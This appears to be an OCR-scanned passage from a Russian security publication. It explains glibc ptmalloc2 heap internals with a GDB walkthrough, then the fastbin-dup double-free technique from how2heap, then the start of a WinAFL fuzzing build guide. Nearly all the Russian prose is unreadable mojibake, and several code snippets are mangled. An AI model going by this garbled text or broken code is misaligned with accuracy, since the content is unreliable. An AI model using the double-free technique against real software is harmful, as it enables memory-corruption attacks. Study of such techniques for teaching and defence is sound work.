O heapinfo — NOCMOTpeTh HHHOPMALIHIO O KyUe.

CTpyKTypa 4aHKOB

Koraa nporpamma 3anpamuBaet Oydep mid AaHHbIX (Hanmpumep, pazmepoM B 10 6aiT) ¢
NMOMOLIBIO malloc, HA CAMOM JieNe BbiaensAeTcs OOnblie MamsTH, TaK Kak Ui XpaHeHHs
METaJlaHHBIX HEOOXOAMMO JOTMOJIHUTENBHOE MPOCTPAHCTBO. TakoHW KyCOK MaMsTH, CO-
JepKalii MeTaJaHHbIe, Ha3bIBalOT YaHKOM (chunk).

CtpykTypa yaHka, ucrosibdyemas B ptmalloc2, npuBeneHa Huxe. 113 Hee MOXKHO MOHSATD,
4TO Mepesl yKaszaTeleM Ha BbiIeNeHHbIH Oydep namMsTH, KOTOpPbIH BO3BpalIaeTcs Mojib30-
BaTeN0 (mem), pacrojlaraloTCs €lle ABa MOJs: pa3Mep YaHKa M pa3Mep Mpeabiayliero
yaHKa.
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CaM yaHK HMEEeT TaKylo CTPYKTYypy:

struct malloc_chunk {

INTERNAL SIZE T mchunk prev_size; /* Size of previous chunk, if it is
free. */

INTERNAL SIZE T mchunk size; /* Size in bytes, including overhead.
*/ - - -

struct malloc chunk* fd; /* double links — used only if this

chunk is free. */
struct malloc chunk* bk;
/* Only used for large blocks: pointer to next larger size. */

struct malloc chunk* fd nextsize; /* double links — used only if this chunk
is free. */

struct malloc_chunk* bk nextsize;
}i
typedef struct malloc_chunk* mchunkptr;

Uto0bl MOMYUUTh U3 yKa3aTels Ha 4YaHK (CIy>keOHYIO CTPYKTYpy) ykazarenb Ha Oydep
MaMsTH, KOTOPbI MOXHO HCIOJIb30BaTh, K IIEPBOMY MPHOABISAIOT 3HAYEHHE 2*SIZE SZ.
SIzE Sz. Jlnsa apXuTekTypsl x64 oHO paBHO §, a A1 x86 — 4. To ecTb Ha X064 =user mem
= chunk + 16=. M Hao60poT, uTOOBI U3 yKa3aTelns, KOTOPbIH BEPHYJ malloc, IOJYUUTH
yKasareyib Ha YaHK, HeOOXOQMUMO BBIYECTb 2*SIZE_SZ M3 HEro. 3a 3TO OTBEYAIOT CJIEAYIO-
I1€ MaKpOChI:

#define chunk2mem (p) ((void*) ((char*) (p) + 2*SIZE SZ))

#define mem2chunk(mem) ((mchunkptr) ((char*) (mem) - 2*SIZE SZ))

BaxxHbIii MOMEHT: T0JI€ mchunk prev size B CIENYHOLIEM YaHKE HCIIOJIb3yeTCs AN Xpa-
HEHHs M0JIb30BATENbCKUX JAHHBIX NPEIbIAYLIEro YaHKa.

ApeHa

Crapble MeHeIKepbl KyYH HCIOJIb30BaIH OJHY Ky4y Ha BECh MPOUECC U CHHXPOHHU3UPO-
BaJIM IOCTYI K Hell pasHbIX MMOTOKOB C IOMOLIBIO MBIOTEKCOB. Kak HecnoxHo aoraaath-
Cs1, TIOJIOXKUTENHHO Ha MPOU3BOAUTEIBLHOCTH ITO HE CKa3biBasock. Ptmalloc2 ucnonessyer
apeHbl — 00JIaCTH MaMSTH AJIS TOTO, YTOOBI KaXK/IbIH IOTOK MOT TaM XPaHHTh CBOIO Ky4y.

Ho nockonbky Ha MpakTHKE MOTOKOB B MPHIOKEHUH MOXKET OBITh CIIMILIKOM MHOTO, MaK-
CHMaJIbHOE KOJIMUECTBO CO3aBAEMBIX apeH BBIUHCIETCS Mo cieayouei dopmyne (n —
KOJIMYECTBO MPOLECCOPOB):

#define NARENAS FROM NCORES(n) ((n) * (**sizeof** (**long**) == 4 ? 2 : 8))
[Toka KonuuecTBo Ap€H MEHBIIE MAaKCUMAJIBHOI'O0, MEHEKEP KYUH CO30a€T HOBYIO apCHY

Ha KaxIbpli HOBBIH NOTOK. [locie 3Toro, yBbl, HECKOJBKHM ITOTOKAaM HPUIETCS OETUThH
MeXJy coOO0H OfHY apeHy.

[epBas coznaHHas MEHEIKEPOM Ky4H apeHa Ha3bIBaeTcs OCHOBHOM (main). OaHonmoTou-
HOE MPUJIO’KEHHE UCTIONB3YET TOJBKO OCHOBHYIO apeHy.



dnarm

OcranoBuMcst moapoOHee Ha ¢uiarax yanka. [lone pa3mepa mnpedplAylIero YaHka
(mchunk size), KpoMe COOCTBEHHO pa3Mepa, XpaHHUT TpH ¢uiara: A, M, P. 3TO BO3MOXKHO 32
CYeT BhIpaBHUBAHHUSA pa3Mepa 4aHka. Tak Kak pa3zMep 4aHka Bcerjaa KpateH 1ubo 8, nubo
16 Gaiitam, nocnequue 3 GuUTa pazMepa He HECYT CMBICIOBOM HArpy3kH, U KX MOXXHO HC-
MO0JIb30BATh TSl XpaHeHus ¢Jiaros.

O a (NON_MAIN_ARENA): 0 — yaHk Ob11 BbII€TIEH U3 OCHOBHOH apeHbl 1 OCHOBHOM
Ky4H; | — 4aHK NpHHAIeKUT OJHOH U3 BTOpOCTeNneHHbIX apeH. Korna mpunoxxenue
CO3/1a€T OTOJHUTENbHbIE TOTOKH, KaXIAbIH U3 HUX MOJydaeT CBOI apeHy (rpyoo ro-
BOpsl, CBOIO Ky4y). B yaHkax, BbIAENAEMBIX Ha 3THX apeHax, yCTAHOBJIEH OUT A;

O m (IS MMAPPED): 1 — yaHk nosy4yeH ¢ MOMOLIbIO BbI30Ba mmap. OcTanbHble duaru
UTHOPHUPYIOTCS, TIOTOMY YTO JaHHbIE YaHKH HE pacroJiaraloTcsi B apeHe U K HUM He
IPHUMBIKAIOT JPYTHE YaHKH;

O p (PREV_INUSE): 0 — npeaplaymuii yaHk He uHcnoasdyercs. Ilepen nonem
mchunk_size pacrioyiaraeTcs 3Ha4€HHE pa3Mepa Mpeablayllero 4aHka; | — mpeasiay-
IMHA YaHK Hcronb3yeTcs. Ilepea moneM mchunk size pacnosnararoTcsi MOJb30BaTeNb-
CKHE JIaHHBIE.

Bins

Jnst moBblilieHUst OBICTPOAECHCTBUS YAHKH HCIIONB3YIOT MOBTOPHO (M MMEHHO 3Ty OCO-
OEHHOCTh YYHMTHIBAIOT NMPH IKCIUTyaTalMH Ky4H). PaHee Hcronb30oBaHHbIE U OCBOOOX-
JIEHHBIE YaHKH CKJIafbIBalOT B OWHBI (bins). B Haiel peanu3anuu Ky4ud CyLIECTBYET MTh
THUIMOB OHMHOB:

O small (62 wtykn);

3 large (63 wrykn);

O unsorted (1 mrtyka);
O fast (10 wryk);

3 tcache (64 Ha mOTOK).

Small bins

O Yauku B kaxkaoM u3 small bin XpaHsATCs B IBYCBS3HOM CITHCKE.

O BcraBka 0CBOOOXICHHBIX YaHKOB B 3TOT CIUCOK MMpon3BoanTcs ¢ Hauyana (head), yaa-
nenue — ¢ koHua (tail, FIFO). ns BexeHHs 3TOro CIHCKa HCIOb3YIOTCS yKa3aTelu
fd u bk (cM. cTpyKTypy YaHKa).

O Takux 6uHOB 62 wtyku. Kaxcaelit u3 small bins XpaHHT YaHKH TOJIBKO OJHOTO pa3Me-
pa: 16, 24, ..., 504 6aiit ayis x86 u 1008 Gailt s x64.

O Ecnu B small bin nonajaroT ABa COCEIHHX YaHKA, TO OHH OOBEAMHSIOTCS U OTIPAB-
J10TCsA B unsorted bin.



Large bins

)
)
)

Yanku B kax0M u3 large bin Tak:xe XpaHATCs B JBYCBSI3HOM CITMCKE.
YaHkH B Ka)IOM U3 OMHOB HMEIOT JIHana3oH pa3MepoB.

YaHKH COPTUPYHOTCS CJIEAYIOIUM 00pa3oM: caMmbiil 00IbIIIOH YaHK HaxoauTcs B head
CMHUCKa, a caMblil ManeHbkuit — B tail. [[ns 3TOro Hcnone3yroTcs yka3aTenu

fd nextsize M bk nextsize.
BcTaBku u yAaja€HUA NPpOUCXOIAT Ha nroooi MO3ULINH.

Takux OMHOB 63 IUTYKH, B HUX XpaHATCS YaHKHU pa3MepoM oT 512 6ailt nns x86 u ot
1024 Gaiit nns x64.

Unsorted bin

BmecTo TOro 4to0sl CK1a/1bIBaTh TOJLKO YTO OCBOOOXK/IEHHEIE YaHKHU B MOAXOAALIMIA bin,
MEHE/DKEp Ky4YM COeIMHSET MX C COCe/IIMM M CKianasiBaeT ux B unsorted bin. IIpu cre-
JYIOLLIEM BbI30BE malloc KaX/bli 4aHK K3 unsorted bin npoBepseTcs: MOAXOAUT OH IO
pasmepy wiu HeT. Ecnu noixoauT, To malloc MCHOJB3YyeT ero. B mpoTHBHOM ciyuae
YaHK NMoMeliaercs B noaxoasiuuit bin: small wnm large.

Fast bins

o
)

Co31aHbl AJ18 ONTHUMHU3aLMK 0CBOOOXKIEHUS U aJIOKALIMM YaHKOB MaJIeHbKOTO pa3mepa.

XpaHaT 4YaHKH PUKCHPOBAHHOrO pa3mepa. MakcHMalbHbIH pa3mep YaHka st X86 —
88 Oaiit, niua x64 — 176 OaiT.

Uanku xpaHsTcs B oaHocBsizHoM crniucke (LIFO).

Y yankoB B fast bins He cHuMaeTcs duar p. [TodTomMy cocenHre 0cBOOOXIEHHbIE YaH-
KM He CIIMBAIOTCA. ITO CJIeNIaHo /IS YBEJIHUEHHs CKOPOCTH OCBOOOKACHHS U BbIEsIe-
HUSI YAaHKOB HEOOJIbILIOTO pa3Mepa.

Tcache bins

o

a

V kaxaoro nmotoka ectb 64 tcache bin. Ito caenaHo s eie 00JblIeil ONTUMH3ALMH
BbIJIeIeHHs] He0OJbIIMX 4aHKOB. OHH HCIOJB3YIOTCS BCEr/a, KOraa KOJMYECTBO MO-
TOKOB TMPEBbIIIAET MAKCUMAabHO JOMYCTUMOE YMCJIO apeH: B ITOM Clydae Kaxcibli
MOTOK MOXET CHayYaja UCIOJb30BaTh CBOHN KelU, a HE )K/AaTb, IOKAa OCBOOOIUTCSA MBIO-
TEKC CHHXPOHM3ALIMH JIOCTYIA K Kyue.

YaHku XpaHATCA B OQHOCBA3HOM CITUCKE.

B kaxnom bin — MakcHMyM ceMb YaHKOB C OJIMHAKOBBIM pa3mepoM (12-516 Ha x86
n 24-1032 na x64).

Uanku npu ocBOOOXKIEHUH HE CIMBAIOTCS U HE OCBOOOMKIAIOTCSA «IO-HACTOSIIEMY»
(dnar p He cHUMaeTCH).

[1pu 3anpoce nmaMsATH NOAXOMALIMIA YaHK CHauyana uuietcs B tcache, a morom B oc-
TaJIbHBIX bin.
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TecTtoBada nporpamMma

Hanumem MPOCTYHO TECTOBYHO MPOrpaMMmy JUId 1E€EMOHCTPALIUH:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main ()

{

puts ("Basic allocation example.\n");

char* a

char* b
memcpy
char*
char*
char*
char*

char*
char*
free(a
free (b
free (c

free(d);

(b
C!
(]
d
e

char* £
g
h

)i
0I5
):

malloc (0x10);
strcpy (a, "AAMAAAAAAAABAAA"); // A * 15
malloc (0x12);

"BBRBRBBRBBBBBBBBBBBBBBBBB", 24); // B * 23
malloc (496); // was 0x200

malloc(496); // was 0x200

0x500

’

)
malloc (0x500) ;
)

(

malloc (

(
malloc (0x500

(

(

’

malloc (0x500) ;
malloc (0x500) ;.

// free(e);

free(f);

free (h)
free (qg)
(

puts ("End.\n") ;

CkoMnuinpyem ee ¢ 0TaaA04HOI1 HH(OpMalHel ¢ MOMOLIbIO TAKOH KOMaH/1bl:

gcc basic.c -o basic -ggdb

MNMpakTuka

3nech M jganee Mbl Oyaem paccmaTpuBaTh maaTgopmy x64. OTKpoeM Hally TeCTOBYHO
malloc (0x10) C NMOMO-

nporpamMmy B GDB u nocraBum Opsik Ha cTpouke 8: char* a
IWbK KOMAHAbl b basic.c:8.

3aﬂyCTI/IM BBINTOJIHEHHUE MPOrpaMmbl KOMaHOOoH r U [NOCMOTPHM, 4YTO B Hel MMPOUCXOANUT

(koMaH/1a heapinfo).

ITocne Havana MCMONHEHHs KoJa MONb30BaTeNs Kydya HHHLHAIH3HPYETCS, H Mbl MOKEM
YBHIETb, MO KAKOMY aJIpecy pacroyiokeH BepXHHH (top) YaHK KyuyH: 0x5555555596a0

(puc. 3.1).



MPUMEYAHUE
Top chunk — u4aHkK, HaxogAWMNCA Ha BepluMHe Kyuu. dnar P AaHHOro YaHka Bcerga Bbi-
CTaBneH.

® & gdb basic B 4

Puc. 3.1. BepxHuit 4aHK Ky4n

C NoMOIIbI0 KOMaH bl vmmap Mbl MOXXEM MOCMOTPETh KapTy MaMsTH Mpollecca W YBH-
JIeTh, T1Ie HaXoAUTCs Kyua (puc. 3.2).

Teneps Mbl 3HaeM, UTO HAC HE OOMaHBIBAIOT U BEPXHMH YaHK Ky4H ACHCTBHUTEILHO pac-
MOJIOXKEH B CETMEHTE Ky4H.

cnonHuM 0HY CTPOYKY MPOrPpaMMBbl char* a = malloc(0x10) C TOMOIUbLIO KOMAHbI n.
Mpbl yBUAMM, YTO BEPXHHI YaHK Ky4d cMecTuiics Bnepen Ha O0x20 OaiiT, a AOCTYMHBIH
pa3Mep Ky4H COOTBETCTBEHHO yMeHbLIics. [ToueMy Ha 0x20, €CJIM Mbl 3alPOCHIIH 0x10
6aiiT? OctaBumecss 16 6aliT yuuin Ha MeTaJaHHble, pacroJIOKEHHbIE Mepe yKazaTesieM

a: mchunk prev size H mchunk size (puc. 3.3).

Tak>xe Mbl MOXEM YBHJIETb, UTO (Iar P B MoJie mchunk size paBeH |, TO ecTh mpeablay-
KA yaHk 3aHAT. C MOMOUIbIO KOMaH[bl p * ( (mchunkptr) (a-16)) Mbl MOXXEM pacreya-
TaTh MOJISI YaHKA KaK CTPYKTYphI (puc. 3.4).



® 0 gdb basic po |

Puc. 3.2. KapTta namaTtu npouecca

® @ gdb basic X1

Puc. 3.3. MeTagaHHble

Haxe ecnu mbl 3arpocuM 0ydep pasmepom 1 OaiiT, Ha Kyuye OyIeT BbIIENIEH YaHK pa3Me-
poM 0x20 OaiT, a MOJIB30BATEIIO BEPHETCS YKa3aTelb Ha Oydep pasMepoM 0x18 OaMT.

BEINONHUM CTPOUKY char* b = malloc (0x12). MeHemkep Ky4YH BBIICIUT YaHK Pa3MepoOM
0x20 6aiiT. [Toap30BaTeh BCE TAK XKE CMOMKET HCIOIL30BaTh Oydep pazMmepom 0x18.

Ecnu MbI 3anuiuem B Haml 4aHk Oydep pasmepom 24 0aiiTa, TO yBUIHUM, YTO MOCIEIHHUE

8 0OaliTOoB «3ane3yT» Ha CIEYIOIIWA YaHK, HO METaJaHHble Mepe3anucaHbl He OymyT
(puc. 3.5).



gdb basic

t 19

PRGRE

A0

Puc. 3.4. [Nons yaHka B BuAE CTPyKTyp

gdb basic

WORD PIR [rb

edi , Ox508

DxBOVBOGORGRTEI21

L @xPOBOAGBANANNGY OxPABBABVOBREHBBE

Puc. 3.5. Nocneaxue 8 6anT 6ydepa «3aneanu» Ha cnegyowmin YaHK

B pe3ysbTare BBIMOJHEHHS CTPOYKH char* ¢ = malloc(496) BBIAENSAETCA YaHK PasMEpPOM
496 + 16 = 0x200 Gaiit (puc. 3.6).

Teneps nepeiigeM K H3yueHHIO OCBOOOMXKIEHHBIX YaHKOB. {715 Hayana BBHINOJIHUM CTPOY-
Ky 18 free(a);. [Tockonbky pa3Mep 4aHka a MeHblle 1032 OaiT, 0cBOOOKIEHHBIH YaHK
nomnazer B tcache (puc. 3.7).




® @ gob basic %t

Puc. 3.6. Yank paamepom 0x200 Gant

® 8 gdb basic T

Puc. 3.7. OcBobGoxaeHHbIN 4YaHk nonageT B tcache

Kak Mbl YK€ 3HaeM, YaHKH B tcache He 0CBOOOXKIAI0TCH «MO-HAaCToALEMY», U TIOITOMY Y
CJICOAYOLIETO YaHKa BCE €€ BbICTABJICH (bnar E.

OcBoboauM ele oMH YaHK. Tenepb B CMHCOK YaHKOB B tcache moOaBmIICs e11e OauH.

[To cmewennto 0x5555555596d0 Mbr BUAMM ykasaTesnab Ha CIEAYHOIIMH YaHK B HalleM
OuHe, koTopblii oOTHocuTcs Kk tcache. Ecmum pacnewararb cTpykTypy uaHka IO
0x5555555596¢0, To okaxeTcs, 4yTo moje fd (ykasareiab Ha CleIyOLUil CBOOOIHBIM
yaHK B OuHe) paBHO 0x5555555596b0 — mMeHHO 3TOT YaHK Mbl OCBOOOJIMIIM CTPOUYKOH
paHee. 3HaueHHs yka3aTelnel fd nextsize H bk nextsize HE BaXXHBI [JI 3TOr0 YaHKa, TaK
KaK OHHU MCIIOJIb3YIOTCS TOJIBKO IS YaHKOB, Haxoaswuxcs B large bin (puc. 3.8).



® 08 b basic B 4

Puc. 3.8. 3naveHns ykasatenen £d nextsize m bk nextsize

[Mocne Toro kak Mbl OCBOOOX/JAacM YaHK pa3MepoM 0x200, OH MOMajaeTr B ApPyrod OWH
(TOT, KOTOpBIH COOTBETCTBYET €ro pasmepy) (puc. 3.9).

*® @ gdb basic K

Puc. 3.9. Hank nonagaer B apyron 6uH

Ilocne BeimonHeHus cTpoukH 21 ceoboaHbIi yaHk onpeaensercs B unsorted bin.

Crpouka 23 ocBoOOX/aeT elle OJUH YaHK pazMepoM 0x500. Teneps B unsorted bin Ha-
XOJATCS /1BAa YaHKA, U Mbl MOXKEM MOCMOTpPETH, KaK 3TH YaHKH XPAHATCS B ABYCBS3HOM
CITHCKE.

MpbI BUAMM, 4TO YaHK 0x55555555a300 HAXOAMTCA B Havase cnucka. [lone fd ykasbiBaer
Ha CNeayHOLMI YaHK — 0255555555980 (puc. 3.10).
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Puc. 3.10. MNone fd yka3seiBaeT Ha cnegyowni YaHk

Fast bin Dup

Tenepsb, BOOpPYXHMBLIMCh 3THMH 3HaHMAMH, pa3bepem npocTelmyio artaky fastbin
duplication. CyTb TakoBa: eciiu B npuioxeHHH ectb double-free, To MBI MOXXeM 3acTa-
BUTb malloc BO3BpalllaTh OAHH U Te e 4aHku u3 fastbin. 3Ty TeXHHKY HCHOJIB3YIOT,
9To0Bl MONYYUTh NpUMHUTHB write-what-where (mpumep c¢ Octf (https://uaf.io/
exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html)).

Pazbepem mnpumep 31oif atakm wu3 penosutopus how2heap (https://github.com/
shellphish/how2heap/blob/master/glibc_2.31/fastbin_dup.c).

lMPUMEYAHHNE

A pasbepy koa ans libc 2.31, noToMy 4TO MMeHHO 3Ta Bepcus ucnoneadyetca B Ubuntu
20.04. Tel MoxXewsb BbibpaTe Apyron, HO npocneaw, YTobel Bepcus libc cosnagana ¢ uc-
nonb3yemMoi Tobon nporpaMMon.
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B nepBylo oyepens 3abuBaioT tcache (kak Thl NOMHHIIb, B tcache XpaHHUTCS MaKCUMyM
CEMb YaHKOB OJHOI'O pa3Mepa).
void *ptrs([8];
for (int i=0; i<8; i++) {
ptrs(i] = malloc(8);
}
for (int i=0; i<7; i++) {
free (ptrs[i]);

Jlenaercst 310 Mo oAHON NpocTOl NpHuMHe: B peanu3auuu tcache B libc 2.31 npucyrctBy-
€T 3aIuTa oT AaHHOH ataku. Korzma yank kiagercs B tcache, B Hero coxpansercs ykasa-
TeJb Ha caM tcache.

typedef struct tcache entry

{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key;

} tcache entry;

/]

static _ always_inline void

tcache_put (mchunkptr chunk, size_t tc_idx)

{
tcache_entry *e = (tcache_entry *) chunkZ2mem (chunk);
/* Mark this chunk as "in the tcache" so the test in _int free will

detect a double free. */

e->key = tcache;

/) i

}

A ¢dyHKIMS free mepen TeM, Kak MOJOXUTh 0cBOOOXKAaeMbIl yaHK B tcache, nposepser,
He COXPaHEH JIM YXe B 9TOM YaHKe yka3arenb Ha tcache. B Takom ciyyae Tpurrepurcs
nposepka Ha double free. K cioBy, B akTyansHo# Bepcun glibc 31a npoBepka ynyuyiieHa
M BMECTO yka3zaTesis Ha tcache B KkauecTBe KIHOYa HMCIOJIB3YeTCS CIy4YaiHOE 4YHCIIO
(https://github.com/bminor/glibc/blob/master/malloc/malloc.c#1.3160).

if (__glibc_unlikely (e->key == tcache))
{

tcache _entry *tmp;

LIBC PROBE (memory tcache double free, 2, e, tc_idx);

for (tmp = tcache->entries[tc_idx}l;
tmp;
tmp = tmp->next)

if (tmp == e)
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malloc _printerr ("free(): double free detected in tcache 2");
/* 1If we get here, it was a coincidence. We’ve wasted a
few cycles, but don’t abort. */

[Manee Boinenstorcs Tpu Oydepa. Jns BblAeNEHUS UCMONB3YeTCs calloc, TaK Kak OH HE
ucnonb3yer tcache. 3Haro, B peaNbHOH M H3HU calloc BCTPEUYAETCs pexe malloc, HO IS
yueOHBIX 1ieJlei CoiaeT.

int *a = calloc(l, 8);
int *b = calloc(l, 8);
int *c = calloc(l, 8);

3aTeM mocaea0BaTEIbHO OCBOOOXKIAIOTCS a H b.

free(a);
free(b):;

[Toka 4yTO HUYEro KPUMHUHANBHOTO, Hallla Ky4a BBITJSAUT BOT Tak (puc. 3.11).

®09 gdb fastbin_dup R 4

gdb {ssh) 31 pythen (pythan) »®2

> Bx555555559300 - > @x5555555592¢0

Puc. 3.11. Kyva

B fastbin[0] HaxoaATCs ABa YaHKA, b-.fd YKa3bIBaCT HaA a.

Ho ecnu BBIMOJHUTS free (a) €Ilie€ pa3, Mbl YBUIHUM, YTO YaHK a BO BTOPOH pa3 106aBUTCS
B fastbin([0] (puc. 3.12).

U Ttenepp, ecau Mbl BbIAenHM elle TpH Oydepa ¢ NOMOIIBIO calloc, HAM BEpHYTCS TPH
OJIMHAKOBBIX yKa3aTels, IOTOMY YTO BCe OHU OepyTcst U3 fastbin[0](puc. 3.13)!



® 8 gdb fastbin_dup X1

gdb {ssh) = pythar (python) w2

(Ox28)  t« ry ‘ R § > @x555555559348 > @x555555559320 > @x555555559300@ > @x55

Puc. 3.12. Yaxk a Bo BTOpON pa3 gobasutcs B fastbin[C]

@s 8 . vagrant@ubuntu-focal:jvagrant_data X1

Puc. 3.13. Ham BepHyTCsl TpU OAUHAKOBbLIX yKa3aTens

Pasbepemcs, noyemy 310 cpaborano. YaHK old B CHHUMIETE HUKE — 3TO CTApPBIH YaHK,
Haxoaawuics Ha BepluuHe fastbin, a p — 310 0cBOGOkAaeMbIi yaHK. M eciu Mbl nocTa-
paemcsi 0CBOOOHUTh YaHK, HaxoAslMics Ha BeplunHe fastbin, aBa pasza (old == p), npo-
rpaMMma Hanuuiet Ham «double free or corruption (fasttop)» u 3akpoercs.

unsigned int idx = fastbin index(size);

fb = &fastbin (av, idx):

/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
mchunkptr old = *fb, o0ld2;

Wl
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/* Check that the top of the bin is not the record we are going to
add (i. e., double free). */
if (_ builtin expect (old == p, 0))

malloc printerr ("double free or corruption (fasttop)"):
p->fd = 0ld2 = old;

MIMeHHO MO3TOMY MbI HE MOXEM YCIELHO BBIMOJHHUTE free (a) ABa pasa noapsa. Ho ec-
JIM TIOMECTHUTh Ha BeplIMHY fastbin yaHk b, TO free YCMELIHO Mepe3anuLIeT yka3arenb fd
yaHKa a (p->fd = old2 = old; Ha CHHUINETE Bhillle) U 100aBUT ero B fastbin!

UTo ewe nounTaTb Npo Ky4y

Ecnn mocne mpountaHHOro TeOs 3aMHTEpecoBana TeMa Ky4H, MOTY MOPEKOMEH0BaTh
03HAaKOMUTbCSI C JAPYTUMH Kjaccudeckumu arakamu u3 howZheap (https://github.com/
shellphish/how2heap), oTkpbIB B cocenHel Bknaake malloc.c M3 HCCIEAYyeMOH TOOOMH
Bepcun glibe (https:/ftp.gnu.org/gnu/glibc/).
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WinAFL Ha npakTuke.
Yuyumca pabotatb ¢assepom
U UCKaTb Ablpbl B codTe

Bsiyvecnae MockeuH

WinAFL — a3to ¢opk 3Hamenuroro ¢azzepa AFL, npeanasHadeHHbll qns ¢az3uHra
NporpamMm C 3aKpbIThIM HCXOAHBIM kogom non Windows. Pabora WinAFL omnucana B
JOKYMEHTAILIUH, HO MPOUTH MyTh OT 3arpy3KH TYJI3bl A0 YCHEWHOro ¢pa33uHra U nepBbix
Kpalleii He TaK MPOCTO, KAK MOXET MOKa3aThCs Ha MePBbIit B3IIIs .

Y70 TAKOE ®A33UHTI

Ecnu Tbl COBCEM He 3HaKOM C 3TOW TEXHWKOW NOMCKa YA3BUMOCTEN, TO MOXelllb 06paTUTbCa
K OOHOW N3 HalLWX BBOAHbLIX CTaTen:

= «®a33unHr, a3amnTb, daszep: UWEM Ys3BUMOCTM B MporpaMmax, CeTeBblX cepBucax,
apansepax (https://xakep.ru/2010/07/19/52726/)»

= «Luke, | am your fuzzer. ABTOMaTU3NPyEM NONCK YA3BUMOCTEN B Nporpammax
(https:/ixakep.ru/2019/05/23/fuzzer/)»

= Takke no Teme hasauHra pekoMeHayem cneaylowme craTbu:

= «®a33uHr rnasamu nporpammuncta. Kak 8 Google aBTtomatnanpytot nomck 6aros
(https:/ixakep.ru/2019/06/11/fuzzing-google/)»

= «Pacnyww nuHrenHa! Pasbupaem cnocobbl hasaunHra sgpa Linux
(https:/ixakep.ru/2021/07/29/linux-fuzzing/)»

Tak xe, kak 1 AFL, WinAFL coGupaet nHdopmanmio o nokpelTHy koaa. Jlenats 3to oH
MOXET TPEMsl CITIOCO0aMHu:

O nuHamuyeckas HHCTpyMeHTauus ¢ nomoupo DynamoRIO,;

O cratuyeckas HHCTPYMEHTALIUsA C IOMOLLBIO Syzygy;

O Ttpeticunr ¢ nomoupto IntelPT.

MbI OCTaHOBHMCS Ha KJ1aCCHYECKOM MEPBOM BapHaHTE KaK CaMOM MPOCTOM U MOHSITHOM.
®az3ut WinAFL cnenyroumm o6pa3om:

1. B xauecTBe 0JHOTO M3 apryMEHTOB Thl JOJDKEH MepenaTh CMeIEeHHe TaK Ha3biBAeMOi
1eneBod pyHKUUH BHYTpH OHWHAps.
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2. WinAFL umxexTHTCs B MpOrpaMMy M XJET, MOKa HE HAYHET BBINOJHATCS LeyeBas
byHKIHA.
3. WinAFL HaunHaeT 3anuchiBaTh HHPOPMALHIO O MOKPBITHH KOAA.

4. Bo Bpems Bbixona u3 neneBoil ¢pyHkuun WinAFL nmpuocraHaBnuBaer paboty mpo-
rpamMMbl, noaMeHseT BxonHo# ¢aiin, nepesanuceiBaer RIP/EIP anmpecom navana
(GYHKUHH U TPOJOIDKAET paboTy.

5. Korna 4ucio Takux UTepaLuil JOCTUTHET HEKOTOPOro MaKCUMaJIbHOIO 3HaueHHs (ero
Tbl onpenensews caM), WinAFL nonHocTeio mepe3anyckaeT nporpammy.

Takoi moaxoa mMo3BOJISIET He TPaTHUTDb JIMIIHEE BPEMsA Ha 3allyCK U HHHULIHAJIM3alHIO IIPpO-
rpaMmbl U 3HAYHUTEJIIBHO YBEJIMYUTH CKOPOCThb (ba33mlra.

TpeboBaHuA K hyHKUNUN

N3 noruku paboter WinAFL BeITEKarOT mpocTblie TpeOOBaHHUA K LedeBOH QyHKUHH IS
¢az3unra. leneBas pyHKIMS TOKHA!

1. OtkpbiBaTh BXOAHOI (aiin.

2. Ilapcute ¢aiin ¥ 3aBepliaTh CBOK pabOTy MakCHMalbHO YHCTO: 3aKpbIBaTh Gain u
BCE OTKPBITBIE XEHJIbl, HE MEHATH IJ100aJIbHbIE NIEPEMEHHBIE U Tak Aajee. B peanbHo-
CTH He BCera rnojly4yaeTcs HaiTH uaeanbHyo QyHKLHIO MapCcHHra, HO 00 3TOM moro-
BOPHM IO3XKE.

3. BrInonHeHHe N0JHKHO JOXOOUTH O BO3BpaTa W3 )yHKIUH, BEIOpaHHOH Ui (a33uHra.

Komnunauua WinAFL

B penosutopun WinAFL Ha GitHub (https://github.com/googleprojectzero/winafl)
YK€ JIe)KaT CKOMIHJIMPOBaHHbIE OMHAPH, HO Y MEHs OHH IMPOCTO HE 3aXO0TeNnH padoTaTh,
M03TOMY AJI TOTO, YTOObl HE MPHIIOCH pa3dUpaThCs C JUILHUMH MpoOieMaMH, CKOM-
nunupyem WinAFL Bmecte ¢ camoii mocnenneit Bepcueir DynamoRIO. K cuactsio,
WinAFL OTHOCHTCS K T€M HEMHOIOYHCIIEHHBIM MPOEKTaM, KOTOpPbIE KOMIHIHPYIOTCS
0e3 npoOemM Ha J1r000i MalIHHe.

1. Ckauaii u yctaHoBHu Visual Studio 2019 Community Edition (mpu yctaHOBKe BbIOEpH
nyHKT «Pa3paboTka KaccH4ecKHX NpuiioxeHuid Ha C++».

2. Iloka y Tebs yctanaBnuBaetcs Visual Studio, ckayaii mocneanuii penu3 DynamoRIO
(https://github.com/DynamoRIO/dynamorio/releases).

3. Ckauait ucxonuuku WinAFL u3 penosutopus
https://github.com/googleprojectzero/winafl.

4. Ilocne ycranoBku Visual Studio B MeHwo «llyck» y TeOs mosBATCA SpJBIKH U OT-
KpbITHs KoMaHIHOH cTpoku Visual Studio: x86 Native Tools Command Prompt for
VS 2019 u x64 Native Tools Command Prompt for VS 2019. Bribupaii B cooTBeTcT-
BHH ¢ OUTHOCTBIO IPOTrPaMMBl, KOTOPYIO Thl Oyellb (a33HuTh.

5. B xomangHoii ctpoke Visual Studio nepeiiny B nanky ¢ ncxonankamd WinAFL.
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st komnunsuuu 32-6UTHON BEPCHH BBIMOJIHH CIEAYIOUIME KOMaH/Ibl:
mkdir build32
cd build32

cmake -G"Visual Studio 16 2019" -A Win32 .. -
DDynamoRIO DIR=..\path\to\DynamoRIO\cmake -DINTELPT=0 -DUSE_COLOR=1

cmake --build . --config Release

Hnst komnunsiuu 64-6UTHOM BEpCHH — TaKHe:
mkdir build64
cd buildé4

cmake -G"Visual Studio 16 2019" -A x64 .. -
DDynamoRIO DIR=..\path\to\DynamoRIO\cmake -DINTELPT=0 -DUSE COLOR=1

cmake --build . --config Release

B moeMm Cj1yda€ 3TH KOMaHAbI BBITJIAOAT TaK:
cd C:\winafl build\winafl-master\
mkdir build32
cd build32

cmake -G"Visual Studio 16 2019" -A Win32 .. -
DDynamoRIO DIR=C:\winafl build\DynamoRIO-Windows-8.0.18915\cmake -DINTELPT=0
-DUSE_COLOR=1

